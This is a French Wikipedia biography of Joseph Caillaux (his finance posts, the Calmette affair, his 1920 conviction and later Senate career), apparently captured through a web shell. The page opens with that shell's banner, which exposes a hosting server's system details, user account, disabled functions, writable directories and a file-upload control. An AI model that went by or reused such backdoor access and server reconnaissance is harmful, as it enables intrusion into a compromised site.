Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/j/o/s/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles//j/o/s/Joseph_Caillaux_f7cb.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Joseph Caillaux - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Joseph Caillaux</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="thumb tright">
<div class="thumbinner" style="width:182px;"><a href="../../../../articles/j/o/s/Image%7EJoseph_Caillaux.jpg_c768.html" class="image" title="Joseph Caillaux"><img alt="Joseph Caillaux" src="../../../../images/shared/thumb/6/6d/Joseph_Caillaux.jpg/180px-Joseph_Caillaux.jpg" width="180" height="205" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/j/o/s/Image%7EJoseph_Caillaux.jpg_c768.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Joseph Caillaux</div>
</div>
</div>
<p><b>Joseph Marie Auguste Caillaux</b>, né au <a href="../../../../articles/l/e/_/Le_Mans_de31.html" title="Le Mans">Mans</a> le <a href="../../../../articles/3/0/_/30_mars.html" title="30 mars">30 mars</a> <a href="../../../../articles/1/8/6/1863.html" title="1863">1863</a> et mort à <a href="../../../../articles/m/a/m/Mamers.html" title="Mamers">Mamers</a> le <a href="../../../../articles/2/1/_/21_novembre.html" title="21 novembre">21 novembre</a> <a href="../../../../articles/1/9/4/1944.html" title="1944">1944</a>, est un <a href="../../../../articles/h/o/m/Homme_politique.html" class="mw-redirect" title="Homme politique">homme politique</a> <a href="../../../../articles/f/r/a/France.html" title="France">français</a>, de tendance socialiste dans ses premières années.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Biographie"><span class="tocnumber">1</span> <span class="toctext">Biographie</span></a></li>
<li class="toclevel-1"><a href="#Bibliographie"><span class="tocnumber">2</span> <span class="toctext">Bibliographie</span></a></li>
<li class="toclevel-1"><a href="#Liens_externes"><span class="tocnumber">3</span> <span class="toctext">Liens externes</span></a></li>
<li class="toclevel-1"><a href="#Chronologies"><span class="tocnumber">4</span> <span class="toctext">Chronologies</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Biographie" id="Biographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/j/o/s/Joseph_Caillaux_f7cb.html" title="Modifier la section&#160;: Biographie">modifier</a>]</span> <span class="mw-headline">Biographie</span></h2>
<p>Ancien élève du lycée du Mans, puis du <a href="../../../../articles/l/y/c/Lyc%C3%A9e_Condorcet_faea.html" title="Lycée Condorcet">lycée Condorcet</a>, il est licencié en droit de la faculté de Paris. Il commence sa carrière comme inspecteur des Finances, de 1888 à 1898 et donne des cours à l'Ecole libre des sciences politiques. Elu en <a href="../../../../articles/1/8/9/1898.html" title="1898">1898</a> député de la Sarthe (mandat qu'il conservera jusqu'en <a href="../../../../articles/1/9/1/1919.html" title="1919">1919</a>), figure du parti <a href="../../../../articles/p/a/r/Parti_r%C3%A9publicain%2C_radical_et_radical-socialiste.html" title="Parti républicain, radical et radical-socialiste">radical</a>, qu'il préside en 1912, il évolue par la suite vers le centre.</p>
<p>Il a exercé diverses responsabilités ministérielles&#160;:</p>
<ul>
<li>du <a href="../../../../articles/2/2/_/22_juin.html" title="22 juin">22 juin</a> <a href="../../../../articles/1/8/9/1898.html" title="1898">1898</a> à <a href="../../../../articles/1/9/0/1902.html" title="1902">1902</a>: <a href="../../../../articles/m/i/n/Minist%C3%A8re_des_finances.html" class="mw-redirect" title="Ministère des finances">ministre des Finances</a> (<a href="../../../../articles/g/o/u/Gouvernement_Pierre_Waldeck-Rousseau_d22b.html" title="Gouvernement Pierre Waldeck-Rousseau">gouvernement Pierre Waldeck-Rousseau</a>)&#160;;</li>
</ul>
<ul>
<li>du <a href="../../../../articles/2/5/_/25_octobre.html" title="25 octobre">25 octobre</a> <a href="../../../../articles/1/9/0/1906.html" title="1906">1906</a> au <a href="../../../../articles/2/0/_/20_juillet.html" title="20 juillet">20 juillet</a> <a href="../../../../articles/1/9/0/1909.html" title="1909">1909</a>&#160;: ministre des Finances (<a href="../../../../articles/g/o/u/Gouvernement_Georges_Clemenceau_%281%29_6dd8.html" title="Gouvernement Georges Clemenceau (1)">gouvernement Georges Clemenceau (1)</a>), poste dans lequel il s'est illustré, en <a href="../../../../articles/1/9/0/1907.html" title="1907">1907</a>, par le projet d'établissement d'un <a href="../../../../articles/i/m/p/Imp%C3%B4t_sur_le_revenu.html" title="Impôt sur le revenu">impôt sur le revenu</a>, lequel servit de base à la réforme de la fiscalité directe mise en place de <a href="../../../../articles/1/9/1/1914.html" title="1914">1914</a> à <a href="../../../../articles/1/9/1/1917.html" title="1917">1917</a>. Durant cette période, il tenta de faire adopter son projet d'impôt progressif sur le revenu, consistant à remplacer les quatre impôts créés pendant la période révolutionnaire par un impôt unique, mais il se heurta à l'hostilité du Sénat, qui rejeta son texte en <a href="../../../../articles/1/9/0/1907.html" title="1907">1907</a>. Ses idées servirent cependant de base à la réforme des contributions directes qui fut réalisée entre <a href="../../../../articles/1/9/1/1914.html" title="1914">1914</a> et <a href="../../../../articles/1/9/1/1917.html" title="1917">1917</a>.</li>
</ul>
<p>Il a exercé les fonctions de <a href="../../../../articles/p/r/%C3%A9/Pr%C3%A9sident_du_Conseil_65a9.html" title="Président du Conseil">président du Conseil</a>&#160;:</p>
<ul>
<li>du <a href="../../../../articles/2/7/_/27_juin.html" title="27 juin">27 juin</a> <a href="../../../../articles/1/9/1/1911.html" title="1911">1911</a> au <a href="../../../../articles/1/1/_/11_janvier.html" title="11 janvier">11 janvier</a> <a href="../../../../articles/1/9/1/1912.html" title="1912">1912</a>&#160;: voir <a href="../../../../articles/g/o/u/Gouvernement_Joseph_Caillaux_cff7.html" title="Gouvernement Joseph Caillaux">gouvernement Joseph Caillaux</a><br />
succédant à <a href="../../../../articles/e/r/n/Ernest_Monis_dc3c.html" title="Ernest Monis">Ernest Monis</a> (<a href="../../../../articles/g/o/u/Gouvernement_Ernest_Monis_3dd3.html" title="Gouvernement Ernest Monis">gouvernement Monis</a>), et étant à son tour remplacé par <a href="../../../../articles/r/a/y/Raymond_Poincar%C3%A9_0b3c.html" title="Raymond Poincaré">Raymond Poincaré</a> (<a href="../../../../articles/g/o/u/Gouvernement_Raymond_Poincar%C3%A9_%281%29_8db0.html" title="Gouvernement Raymond Poincaré (1)">1<sup class="exposant">er</sup> gouvernement</a>)&#160;;</li>
</ul>
<ul>
<li>du <a href="../../../../articles/2/7/_/27_juin.html" title="27 juin">27 juin</a> <a href="../../../../articles/1/9/1/1911.html" title="1911">1911</a> au <a href="../../../../articles/1/1/_/11_janvier.html" title="11 janvier">11 janvier</a> <a href="../../../../articles/1/9/1/1912.html" title="1912">1912</a>&#160;: ministre de l'Intérieur (fonction cumulée avec la présidence du Conseil)il se montra partisan d'un compromis avec l'Allemagne lors du <a href="../../../../articles/c/o/u/Coup_d%27Agadir_c8c8.html" title="Coup d'Agadir">coup d'Agadir</a>, négociant, avec son ministre des colonies <a href="../../../../articles/a/l/b/Albert_Lebrun_aad9.html" title="Albert Lebrun">Albert Lebrun</a>, la liberté de manœuvre de la France au Maroc contre l'abandon à l'Allemagne de quelques territoires africains. A la chute de son cabinet, en partie provoquée par l'hostilité des nationalistes, il fut élu président du Parti radical&#160;;</li>
</ul>
<ul>
<li>du <a href="../../../../articles/9/_/d/9_d%C3%A9cembre.html" title="9 décembre">9 décembre</a> <a href="../../../../articles/1/9/1/1913.html" title="1913">1913</a> au <a href="../../../../articles/1/7/_/17_mars.html" title="17 mars">17 mars</a> <a href="../../../../articles/1/9/1/1914.html" title="1914">1914</a>&#160;: ministre des Finances (<a href="../../../../articles/g/o/u/Gouvernement_Gaston_Doumergue_%281%29_09f5.html" title="Gouvernement Gaston Doumergue (1)">gouvernement Gaston Doumergue (1)</a>). Il est contraint à la démission après le meurtre de <a href="../../../../articles/g/a/s/Gaston_Calmette_d3db.html" title="Gaston Calmette">Gaston Calmette</a>, directeur du <i><a href="../../../../articles/l/e/_/Le_Figaro_82d5.html" title="Le Figaro">Figaro</a></i>, commis par sa propre épouse <a href="../../../../articles/h/e/n/Henriette_Caillaux_dcd9.html" title="Henriette Caillaux">Henriette</a>, excédée par une violente campagne menée par le quotidien contre son mari (et orchestrée en sous-main par <a href="../../../../articles/l/o/u/Louis_Barthou_a9f6.html" title="Louis Barthou">Louis Barthou</a> et <a href="../../../../articles/r/a/y/Raymond_Poincar%C3%A9_0b3c.html" title="Raymond Poincaré">Raymond Poincaré</a>).</li>
</ul>
<p>Poursuivi à partir de décembre <a href="../../../../articles/1/9/1/1917.html" title="1917">1917</a> à la demande de <a href="../../../../articles/g/e/o/Georges_Clemenceau_f7a0.html" title="Georges Clemenceau">Georges Clemenceau</a>, pour de supposées intelligences avec l'ennemi comme pour certaines de ses relations sulfureuses, il devra attendre <a href="../../../../articles/1/9/2/1920.html" title="1920">1920</a>, partageant son temps entre la <a href="../../../../articles/p/r/i/Prison_de_la_Sant%C3%A9_3d4d.html" title="Prison de la Santé">prison de la Santé</a> et l'assignation à résidence, pour comparaître devant la <a href="../../../../articles/h/a/u/Haute_cour_de_justice_%28France%29_ae27.html#Troisi.C3.A8me_r.C3.A9publique" class="mw-redirect" title="Haute cour de justice (France)">Haute Cour de justice</a>. Celle-ci le condamna à trois ans de prison pour «&#160;aide involontaire&#160;» apportée à l'ennemi par ses paroles, ses relations et sa virulente opposition politique. Il sera toutefois amnistié le <a href="../../../../articles/1/e/r/1er_janvier.html" title="1er janvier">1<sup class="exposant">er</sup>&#160;janvier</a> <a href="../../../../articles/1/9/2/1925.html" title="1925">1925</a>, après un vote favorable de la Chambre des députés, après proposition du gouvernement <a href="../../../../articles/%C3%A9/d/o/%C3%89douard_Herriot_c20c.html" title="Édouard Herriot">Herriot</a> et reprendra aussitôt sa carrière politique.<br />
Il fut en effet élu <a href="../../../../articles/s/%C3%A9/n/S%C3%A9nat_fran%C3%A7ais.html" class="mw-redirect" title="Sénat français">sénateur</a> de juillet <a href="../../../../articles/1/9/2/1925.html" title="1925">1925</a> à <a href="../../../../articles/1/9/4/1940.html" title="1940">1940</a>, et présida jusqu'en <a href="../../../../articles/j/u/i/Juillet.html" title="Juillet">juillet</a> <a href="../../../../articles/1/9/4/1940.html" title="1940">1940</a> la Commission des Finances du Sénat, où il se fera craindre par un certain autoritarisme. Il retrouve également en juillet <a href="../../../../articles/1/9/2/1925.html" title="1925">1925</a> son siège de conseiller général du <a href="../../../../articles/c/a/n/Canton_de_Mamers_b356.html" title="Canton de Mamers">canton de Mamers</a> et en septembre suivant la présidence du <a href="../../../../articles/c/o/n/Conseil_g%C3%A9n%C3%A9ral_%28France%29_a7a7.html" title="Conseil général (France)">Conseil général</a> de la Sarthe jusqu'en 1940.</p>
<ul>
<li>Du <a href="../../../../articles/1/7/_/17_avril.html" title="17 avril">17 avril</a> <a href="../../../../articles/1/9/2/1925.html" title="1925">1925</a> au <a href="../../../../articles/2/5/_/25_octobre.html" title="25 octobre">25 octobre</a> <a href="../../../../articles/1/9/2/1925.html" title="1925">1925</a>&#160;: ministre des Finances (<a href="../../../../articles/g/o/u/Gouvernement_Paul_Painlev%C3%A9_%282%29_c9f1.html" title="Gouvernement Paul Painlevé (2)">gouvernement Paul Painlevé (2)</a>)</li>
</ul>
<ul>
<li>Du <a href="../../../../articles/2/3/_/23_juin.html" title="23 juin">23 juin</a> <a href="../../../../articles/1/9/2/1926.html" title="1926">1926</a> au <a href="../../../../articles/1/9/_/19_juillet.html" title="19 juillet">19 juillet</a> <a href="../../../../articles/1/9/2/1926.html" title="1926">1926</a>&#160;: ministre des Finances <a href="../../../../articles/g/o/u/Gouvernement_Aristide_Briand_%2810%29_7abb.html" title="Gouvernement Aristide Briand (10)">gouvernement Aristide Briand</a></li>
</ul>
<p>Il fut à nouveau nommé ministre des Finances dans le <a href="../../../../articles/g/o/u/Gouvernement_Fernand_Bouisson_127e.html" title="Gouvernement Fernand Bouisson">gouvernement Fernand Bouisson</a>, mais sa présence dans le cabinet entraîna une opposition telle qu'elle entraîna le renversement du gouvernement le jour même de sa présentation devant la <a href="../../../../articles/c/h/a/Chambre_des_d%C3%A9put%C3%A9s.html" title="Chambre des députés">Chambre des députés</a> (<a href="../../../../articles/4/_/j/4_juin.html" title="4 juin">4 juin</a> <a href="../../../../articles/1/9/3/1935.html" title="1935">1935</a>).<br />
Le 10 juillet 1940, il fait partie des parlementaires qui votent les pleins pouvoirs au <a href="../../../../articles/m/a/r/Mar%C3%A9chal_de_France_32f7.html" title="Maréchal de France">maréchal</a> <a href="../../../../articles/p/h/i/Philippe_P%C3%A9tain_385c.html" title="Philippe Pétain">Pétain</a>, puis se retire dans sa propriété de Mamers, refusant de poursuivre ses activités politiques. Il passe ses dernières années à compléter et achever ses mémoires publiés en 1942-1943, non sans peine, l'occupant et <a href="../../../../articles/r/%C3%A9/g/R%C3%A9gime_de_Vichy_7d22.html" title="Régime de Vichy">Vichy</a> retardant l'autorisation d'édition.</p>
<p><a name="Bibliographie" id="Bibliographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/j/o/s/Joseph_Caillaux_f7cb.html" title="Modifier la section&#160;: Bibliographie">modifier</a>]</span> <span class="mw-headline">Bibliographie</span></h2>
<ul>
<li>Théodore Lescouvé. Affaire Caillaux, réquisitoire de M. le procureur général Théodore Lescouvé. Audience des 14, 15 et 16 avril [1920], Paris, Edition de la "Revue des causes célèbres, politiques et criminelles", 1920, 52 p.</li>
<li>Jean-Claude Allain, <i>Joseph Caillaux</i>, Tome 1&#160;: <i>Le défi victorieux, 1863-1914</i>, Tome 2&#160;: <i>L’oracle, 1914-1944</i>, Paris, Imprimerie nationale, 1981, 537 p. et 589 p.</li>
<li>Jean-Denis Bredin, <i>Joseph Caillaux</i>, Paris, Gallimard, coll. Folio Histoire, 2001.</li>
</ul>
<p><a name="Liens_externes" id="Liens_externes"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/j/o/s/Joseph_Caillaux_f7cb.html" title="Modifier la section&#160;: Liens externes">modifier</a>]</span> <span class="mw-headline">Liens externes</span></h2>
<div class="noprint wikilien_alternatif" style="clear:right; float:right;margin:0 0 1em 1em;width:250px;border:solid #AAAAAA 1px; background:#f9f9f9;padding:0px;font-size:90%;text-align:left;">
<table cellpadding="2" cellspacing="0" style="background-color:transparent">
<tr valign="middle">
<td style="line-height:50px;vertical-align:middle;position:relative" align="center" valign="middle">
<div style="position: relative;"><a href="http://commons.wikimedia.org/wiki/Accueil" title="commons:Accueil"><img alt="commons:Accueil" src="../../../../images/shared/thumb/4/4a/Commons-logo.svg/50px-Commons-logo.svg.png" width="50" height="67" border="0" /></a></div>
</td>
<td valign="middle">
<p><span class="plainlinks"><a href="../../../../articles/w/i/k/Wikimedia_Commons_7b57.html" title="Wikimedia Commons">Wikimedia Commons</a> propose des documents multimédia libres sur <b><a href="http://commons.wikimedia.org/wiki/Joseph_Caillaux?uselang=fr" class="external text" title="http://commons.wikimedia.org/wiki/Joseph_Caillaux?uselang=fr" rel="nofollow">Joseph Caillaux.</a></b></span></p>
</td>
</tr>
</table>
</div>
<ul>
<li><a href="http://www.cedef.minefi.gouv.fr/histomin/ministres/fiche022.html" class="external text" title="http://www.cedef.minefi.gouv.fr/histomin/ministres/fiche022.html" rel="nofollow">Joseph Caillaux sur le site Gouv.fr</a></li>
</ul>
<p><a name="Chronologies" id="Chronologies"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/j/o/s/Joseph_Caillaux_f7cb.html" title="Modifier la section&#160;: Chronologies">modifier</a>]</span> <span class="mw-headline">Chronologies</span></h2>
<table rules="all" align="center" cellpadding="2" border="1" style="width:80%; clear:both; margin:0.5em auto; background-color:#f7f8ff; border:1px solid #aaa;border-collapse: collapse;font-size: 95%;">
<tr>
<th scope="col" width="30%" align="center" style="font-weight: normal">Précédé par</th>
<th scope="col" width="40%" align="center">Joseph Caillaux</th>
<th scope="col" width="30%" align="center" style="font-weight: normal">Suivi par</th>
</tr>
<tr>
<td align="center" bgcolor="#BFC5F9"><b><a href="../../../../articles/e/r/n/Ernest_Monis_dc3c.html" title="Ernest Monis">Ernest Monis</a></b></td>
<td align="center" bgcolor="white" style="padding:1px">
<table width="100%" align="center" border="0" cellspacing="0" cellpadding="0" style="background-color:transparent;padding-top:3px">
<tr>
<td align="center" style="vertical-align:bottom"><b><a href="../../../../articles/p/r/%C3%A9/Pr%C3%A9sident_du_Conseil_65a9.html" title="Président du Conseil">Président du Conseil</a></b></td>
</tr>
<tr>
<td align="center" style="vertical-align:top"><a href="../../../../articles/2/7/_/27_juin.html" title="27 juin">27</a>&#160;<a href="../../../../articles/j/u/i/Juin.html" title="Juin">juin</a>&#160;<a href="../../../../articles/1/9/1/1911.html" title="1911">1911</a> - <a href="../../../../articles/1/1/_/11_janvier.html" title="11 janvier">11</a>&#160;<a href="../../../../articles/j/a/n/Janvier_1912.html" title="Janvier 1912">janvier</a>&#160;<a href="../../../../articles/1/9/1/1912.html" title="1912">1912</a></td>
</tr>
</table>
</td>
<td align="center" bgcolor="#F9C8BF"><b><a href="../../../../articles/r/a/y/Raymond_Poincar%C3%A9_0b3c.html" title="Raymond Poincaré">Raymond Poincaré</a></b></td>
</tr>
</table>
<p><br /></p>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/s/o/c/Image%7ESociety.svg_fc84.html" class="image" title="Icône du portail de la politique"><img alt="Icône du portail de la politique" src="../../../../images/shared/thumb/5/5b/Society.svg/48px-Society.svg.png" width="48" height="19" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/p/o/l/Portail%7EPolitique_a9b3.html" title="Portail:Politique">Portail de la politique</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/f/l/a/Image%7EFlag_of_France.svg_34a2.html" class="image" title="Icône du portail de la France"><img alt="Icône du portail de la France" src="../../../../images/shared/thumb/c/c3/Flag_of_France.svg/36px-Flag_of_France.svg.png" width="36" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/f/r/a/Portail%7EFrance_4125.html" title="Portail:France">Portail de la France</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 409/1000000
Post-expand include size: 6176/2048000 bytes
Template argument size: 1322/2048000 bytes
Expensive parser function count: 2/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/p/e/r/Cat%C3%A9gorie%7EPersonnalit%C3%A9_de_la_Troisi%C3%A8me_R%C3%A9publique_9b3b.html" title="Catégorie:Personnalité de la Troisième République">Personnalité de la Troisième République</a></span> | <span dir='ltr'><a href="../../../../articles/p/r/%C3%A9/Cat%C3%A9gorie%7EPr%C3%A9sident_du_Conseil_de_la_Troisi%C3%A8me_R%C3%A9publique_fb29.html" title="Catégorie:Président du Conseil de la Troisième République">Président du Conseil de la Troisième République</a></span> | <span dir='ltr'><a href="../../../../articles/p/e/r/Cat%C3%A9gorie%7EPersonnalit%C3%A9_du_Parti_r%C3%A9publicain%2C_radical_et_radical-socialiste_2c6b.html" title="Catégorie:Personnalité du Parti républicain, radical et radical-socialiste">Personnalité du Parti républicain, radical et radical-socialiste</a></span> | <span dir='ltr'><a href="../../../../articles/a/n/c/Cat%C3%A9gorie%7EAncien_s%C3%A9nateur_de_la_Sarthe_1069.html" title="Catégorie:Ancien sénateur de la Sarthe">Ancien sénateur de la Sarthe</a></span> | <span dir='ltr'><a href="../../../../articles/s/%C3%A9/n/Cat%C3%A9gorie%7ES%C3%A9nateur_de_la_Troisi%C3%A8me_R%C3%A9publique_fran%C3%A7aise_22e3.html" title="Catégorie:Sénateur de la Troisième République française">Sénateur de la Troisième République française</a></span> | <span dir='ltr'><a href="../../../../articles/a/n/c/Cat%C3%A9gorie%7EAncien_d%C3%A9put%C3%A9_de_la_Sarthe_f705.html" title="Catégorie:Ancien député de la Sarthe">Ancien député de la Sarthe</a></span> | <span dir='ltr'><a href="../../../../articles/d/%C3%A9/p/Cat%C3%A9gorie%7ED%C3%A9put%C3%A9_de_la_Troisi%C3%A8me_R%C3%A9publique_fran%C3%A7aise_1116.html" title="Catégorie:Député de la Troisième République française">Député de la Troisième République française</a></span> | <span dir='ltr'><a href="../../../../articles/n/a/i/Cat%C3%A9gorie%7ENaissance_en_1863_29d6.html" title="Catégorie:Naissance en 1863">Naissance en 1863</a></span> | <span dir='ltr'><a href="../../../../articles/d/%C3%A9/c/Cat%C3%A9gorie%7ED%C3%A9c%C3%A8s_en_1944_3f77.html" title="Catégorie:Décès en 1944">Décès en 1944</a></span> | <span dir='ltr'><a href="../../../../articles/m/i/n/Cat%C3%A9gorie%7EMinistre_fran%C3%A7ais_des_Cultes_Affaires_eccl%C3%A9siastiques_165c.html" title="Catégorie:Ministre français des Cultes/Affaires ecclésiastiques">Ministre français des Cultes/Affaires ecclésiastiques</a></span> | <span dir='ltr'><a href="../../../../articles/n/a/i/Cat%C3%A9gorie%7ENaissance_au_Mans_de88.html" title="Catégorie:Naissance au Mans">Naissance au Mans</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/j/o/s/Joseph_Caillaux_f7cb.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/j/o/s/Discuter%7EJoseph_Caillaux_8a4f.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Joseph_Caillaux">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/j/o/s/Joseph_Caillaux_f7cb.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/j/o/s/Joseph_Caillaux_f7cb.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../eo/articles/j/o/s/Joseph_Caillaux_f7cb.html">Esperanto</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fi/articles/j/o/s/Joseph_Caillaux_f7cb.html">Suomi</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/j/o/s/Joseph_Caillaux_f7cb.html">Italiano</a>
	      </li>
	      	      <li>
	      <a href="../../../../../la/articles/i/o/s/Iosephus_Caillaux_eb79.html">Latina</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/j/o/s/Joseph_Caillaux_f7cb.html">Português</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 3 juin 2008 à 06:18 par Utilisateur <a href="../../../../articles/j/a/u/Utilisateur%7EJaucourt_3fa6.html" title="Utilisateur:Jaucourt">Jaucourt</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/d/e/e/Utilisateur%7EDeep_silence_46af.html" title="Utilisateur:Deep silence">Deep silence</a>, <a href="../../../../articles/d/e/n/Utilisateur%7EDenis_jeanson_b8c9.html" title="Utilisateur:Denis jeanson">Denis jeanson</a>, <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/-/s/t/Utilisateur%7E-Strogoff-_21f6.html" title="Utilisateur:-Strogoff-">-Strogoff-</a>, <a href="../../../../articles/n/i/c/Utilisateur%7ENicoV_cb3c.html" title="Utilisateur:NicoV">NicoV</a>, <a href="../../../../articles/e/s/2/Utilisateur%7EEs2003_6aa3.html" title="Utilisateur:Es2003">Es2003</a>, <a href="../../../../articles/d/a/n/Utilisateur%7EDaniel_D_b91a.html" title="Utilisateur:Daniel*D">Daniel*D</a>, <a href="../../../../articles/p/i/e/Utilisateur%7EPierre73_bce5.html" title="Utilisateur:Pierre73">Pierre73</a>, <a href="../../../../articles/o/c/t/Utilisateur%7EOctave.H_6452.html" title="Utilisateur:Octave.H">Octave.H</a>, <a href="../../../../articles/m/i/s/Utilisateur%7EMissourinez_464b.html" title="Utilisateur:Missourinez">Missourinez</a>, <a href="../../../../articles/s/t/%C3%A9/Utilisateur%7ESt%C3%A9phane33_0e6f.html" title="Utilisateur:Stéphane33">Stéphane33</a>, <a 